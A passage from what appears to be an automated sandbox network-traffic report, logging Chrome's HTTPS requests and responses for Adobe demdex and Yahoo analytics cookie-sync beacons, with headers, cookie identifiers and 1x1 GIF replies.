2024-12-29 12:55:55 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:55 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: yX+0EtsuSBg= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-028c5b8d2.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:55 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:55 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:55 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.4	50790	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:55 UTC	969	OUT	GET /ibs:dpid=57282&dpuuid=2E914D972AFE82751AB32520679948A5 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595
2024-12-29 12:55:55 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:55 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: NX5RKVMBTCA= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0bd5f2040.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:55 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:55 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:55 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
50	192.168.2.4	50796	34.241.209.94	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:55 UTC	1232	OUT	GET /ibs:dpid=80742&dpuuid=c8fd9785-6050-4726-a9f9-b46a4cd24059 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595\|144230-1-1735476952758
2024-12-29 12:55:56 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:55 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: eSK7su6GToo= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-04a8adcf8.edge-irl1.demdex.com 5 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:55 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:55 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:56 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
51	192.168.2.4	50795	34.241.209.94	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:55 UTC	1216	OUT	GET /ibs:dpid=53196&dpuuid=Q7887633501042930475 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595\|144230-1-1735476952758
2024-12-29 12:55:56 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:55 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: w2MjIVBqS40= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-029f0efce.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:55 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:55 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:56 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
52	192.168.2.4	50798	188.125.88.204	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:55 UTC	846	OUT	GET /ups/58782/cms?partner_id=ADOBE&_hosted_id=81980359511806646913714319239841733483&gdpr=0&gdpr_consent=&uid=81980359511806646913714319239841733483&verify=true HTTP/1.1 Host: ups.analytics.yahoo.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBNlGcWcCEP418rI5LxgkjDowQsO_U2kFEgEBAQGYcmd7Z9xH0iMA_eMAAA&S=AQAAAgTfjOpvEXGWYwlaL17iqbI
2024-12-29 12:55:56 UTC	779	IN	HTTP/1.1 302 Found Date: Sun, 29 Dec 2024 12:55:56 GMT Content-Type: text/html Content-Length: 0 Strict-Transport-Security: max-age=31536000 Set-Cookie: IDSYNC=19cu~2mno;Version=1;Domain=.analytics.yahoo.com;Path=/;Max-Age=31536000;Expires=Mon, 29-Dec-2025 12:55:56 GMT;Secure;SameSite=None P3P: CP=NOI DSP COR LAW CURa DEVa TAIa PSAa PSDa OUR BUS UNI COM NAV Location: https://dpm.demdex.net/ibs:dpid=30646?dpuuid=y-DB98BwxE2pHQ359Tf8fodPg83iXpWfuDDDg-~A Referrer-Policy: no-referrer-when-downgrade Age: 0 Connection: close Server: ATS Set-Cookie: A3=d=AQABBNlGcWcCEP418rI5LxgkjDowQsO_U2kFEgEBAQGYcmd7Z9xH0iMA_eMAAA&S=AQAAAgTfjOpvEXGWYwlaL17iqbI; Expires=Mon, 29 Dec 2025 18:55:56 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
53	192.168.2.4	50801	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:56 UTC	1017	OUT	GET /ibs:dpid=3047&dpuuid=62072665D1BB57&gdpr=0&gdpr_consent= HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595\|144230-1-1735476952758\|144231-1-1735476953501
2024-12-29 12:55:56 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:56 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: KalwswDUR0U= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-0bd9d0aa8.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:56 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:56 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:56 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
54	192.168.2.4	50800	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:56 UTC	1019	OUT	GET /ibs:dpid=49276&dpuuid=4751b02c-91a9-44d0-98c8-2ce193718c9d HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595\|144230-1-1735476952758\|144231-1-1735476953501
2024-12-29 12:55:56 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:56 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: RquRGI+/T9I= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-019ab16ac.edge-irl1.demdex.com 5 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:56 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:56 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:56 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
55	192.168.2.4	50802	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:56 UTC	975	OUT	GET /ibs:dpid=22054 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595\|144230-1-1735476952758\|144231-1-1735476953501
2024-12-29 12:55:56 UTC	905	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:56 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: FC8oJPS2TvA= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Error: 300 X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-2-v069-079032980.edge-irl1.demdex.com 1 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:56 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:56 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:56 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
56	192.168.2.4	50808	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:57 UTC	1026	OUT	GET /ibs:dpid=72352&dpuuid=1308204673543769676240&gdpr=0&gdpr_consent= HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595\|144230-1-1735476952758\|144231-1-1735476953501
2024-12-29 12:55:57 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:57 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: tY4TvwzlSWU= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-061240a1d.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:57 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:57 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:57 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.4	50810	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:57 UTC	1042	OUT	GET /ibs:dpid=80742&dpuuid=c8fd9785-6050-4726-a9f9-b46a4cd24059 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595\|144230-1-1735476952758\|144231-1-1735476953501\|144232-1-1735476954457
2024-12-29 12:55:57 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:57 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: /GytqGznSBg= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-028c5b8d2.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:57 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:57 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:57 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.4	50811	54.154.234.207	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:57 UTC	1026	OUT	GET /ibs:dpid=53196&dpuuid=Q7887633501042930475 HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595\|144230-1-1735476952758\|144231-1-1735476953501\|144232-1-1735476954457
2024-12-29 12:55:58 UTC	891	IN	HTTP/1.1 200 OK Date: Sun, 29 Dec 2024 12:55:57 GMT Content-Type: image/gif Content-Length: 42 Connection: close X-TID: kQRJkuuKTGE= Strict-Transport-Security: max-age=31536000; includeSubDomains Cache-Control: no-cache,no-store,must-revalidate,max-age=0,proxy-revalidate,no-transform,private Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 UTC P3P: policyref="/w3c/p3p.xml", CP="NOI NID CURa ADMa DEVa PSAa PSDa OUR SAMa BUS PUR COM NAV INT" X-Content-Type-Options: nosniff DCS: dcs-prod-irl1-1-v069-019ab16ac.edge-irl1.demdex.com 2 ms set-cookie: dpm=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:57 GMT; Path=/; Domain=.dpm.demdex.net; Secure; SameSite=None set-cookie: demdex=81980359511806646913714319239841733483; Max-Age=15552000; Expires=Fri, 27 Jun 2025 12:55:57 GMT; Path=/; Domain=.demdex.net; Secure; SameSite=None
2024-12-29 12:55:58 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 01 44 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.4	50815	34.241.209.94	443	6588	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-12-29 12:55:57 UTC	1282	OUT	GET /ibs:dpid=30646?dpuuid=y-DB98BwxE2pHQ359Tf8fodPg83iXpWfuDDDg-~A HTTP/1.1 Host: dpm.demdex.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://mscom.demdex.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: demdex=81980359511806646913714319239841733483; dpm=81980359511806646913714319239841733483; dextp=358-1-1735476928296\|477-1-1735476928485\|771-1-1735476929489\|782-1-1735476930489\|992-1-1735476932755\|1123-1-1735476933485\|903-1-1735476936048\|1175-1-1735476936456\|1957-1-1735476938094\|3047-1-1735476938447\|22054-1-1735476939491\|30646-1-1735476940463\|53196-1-1735476942217\|38117-1-1735476943312\|57282-1-1735476943579\|49276-1-1735476944469\|72352-1-1735476945638\|80742-1-1735476946460\|81309-1-1735476947610\|121998-1-1735476948528\|144228-1-1735476951021\|144229-1-1735476951595\|144230-1-1735476952758\|144231-1-1735476953501\|144232-1-1735476954457
